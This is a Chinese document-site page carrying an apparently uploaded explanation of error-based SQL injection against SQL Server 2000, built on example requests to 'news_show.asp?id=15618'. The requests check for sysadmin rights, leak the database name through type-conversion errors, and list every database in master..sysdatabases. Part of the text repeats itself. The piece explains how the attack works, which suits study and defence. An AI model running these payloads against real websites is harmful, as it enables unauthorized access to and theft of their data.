欢迎来到天天文库
浏览记录
ID:11877841
大小:58.50 KB
页数:8页
时间:2018-07-14
《sql server2000注入》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、关于user,system_user的解释,点上面的链接到msdn上去看看。 Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1中cast()作用是将一种数据类型 的表达式显式转换为另一种数据类型的表达式。CAST和CONVERT提供相似的功能。IS_SRVROLEMEMBER指示SQLServer2005登录名是否为指 定固定服务器角色的成员,返回值类型为int,0表示不是某某成员
2、,1表示是。0×730079007300610064006D0069006E00是’sysadmin’的16进 制码,为啥要弄成16进制呢,我猜想可能是怕网站程序过滤点sysadmin关键字,如果页面正常返回(200),则表示该用户是sysadmin。精心将int转 换成nvarchar(1)又会暴出类型转换错误,而这就是黑客所需要的信息。db_name()回暴出当前数据库名。 ;declare%20@a%20int–申明一个int变量a,作用我不得而知。 接下来的工作是列出服务器上的数据库名:(假设服务器上有
3、16个数据库) news_show.asp?id=15618And(Selectchar(124)%2BCast(Count(1)asvarchar(8000))%2Bchar(124)Frommaster..sysdatabases)%3E0 news_show.asp?id=15618Andchar(124)+(SelectTop1cast([name]asvarchar(8000))from(SelectTop1dbid,namefrom [master]..[sysdatabases]orderby[d
4、bid])Torderby[dbid]desc)>0 news_show.asp?id=15618Andchar(124)+(SelectTop1cast([name]asvarchar(8000))from(SelectTop2dbid,namefrom [master]..[sysdatabases]orderby[dbid])Torderby[dbid]desc)>0 news_show.asp?id=15618And(SelectTop1cast([name]asnvarchar(4000))%2Bch
5、ar(124)from(SelectTop16dbid,namefrom [master].[dbo].[sysdatabases]orderby[dbid])Torderby[dbid]desc)>0 先列出上面UrlEncode的字符 %2B—‘+’ %3E—‘>’ %20—‘‘ %2F—‘/’ 我只能说这些sql语句构造得是相当的巧妙啊,我开始纳闷了,为啥非要用子查询呢。于是我直接用 SelectTopXdbid,namefrom[master].[dbo].[sysdatabases]orde
6、rby[dbid] 当X为1,也就是返回第一个的时候,是没有问题的,返回了master,但是X为2的时候就出现错误: “子查询返回的值多于一个。当子查询跟随在=、!=、<、<=、>、>=之后,或子查询用作表达式时,这种情况是不允许的。” 这个时候子查询就起到了关键作用。还有开始不知道T是啥玩意,后来才知道sqlserver子查询必须要起一个别名,T就是那个别名,然后把 查询的语句继续和0比较报错这样就暴出了所有的数据库名。 关于user,system_user的解释,点上面的链接到msdn上去看看。 Ca
7、st(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1中cast()作用是将一种数据类型 的表达式显式转换为另一种数据类型的表达式。CAST和CONVERT提供相似的功能。IS_SRVROLEMEMBER指示SQLServer2005登录名是否为指 定固定服务器角色的成员,返回值类型为int,0表示不是某某成员,1表示是。0×730079007300610064006D0069006E00是’
8、sysadmin’的16进 制码,为啥要弄成16进制呢,我猜想可能是怕网站程序过滤点sysadmin关键字,如果页面正常返回(200),则表示该用户是sysadmin。精心将int转 换成nvarchar(1)又会暴出类型转换错误,而这就是黑客所需要的信息。db_name()回暴出当前数据库名。 ;declare%20@a%20int–申明一个int变量a
此文档下载收益归作者所有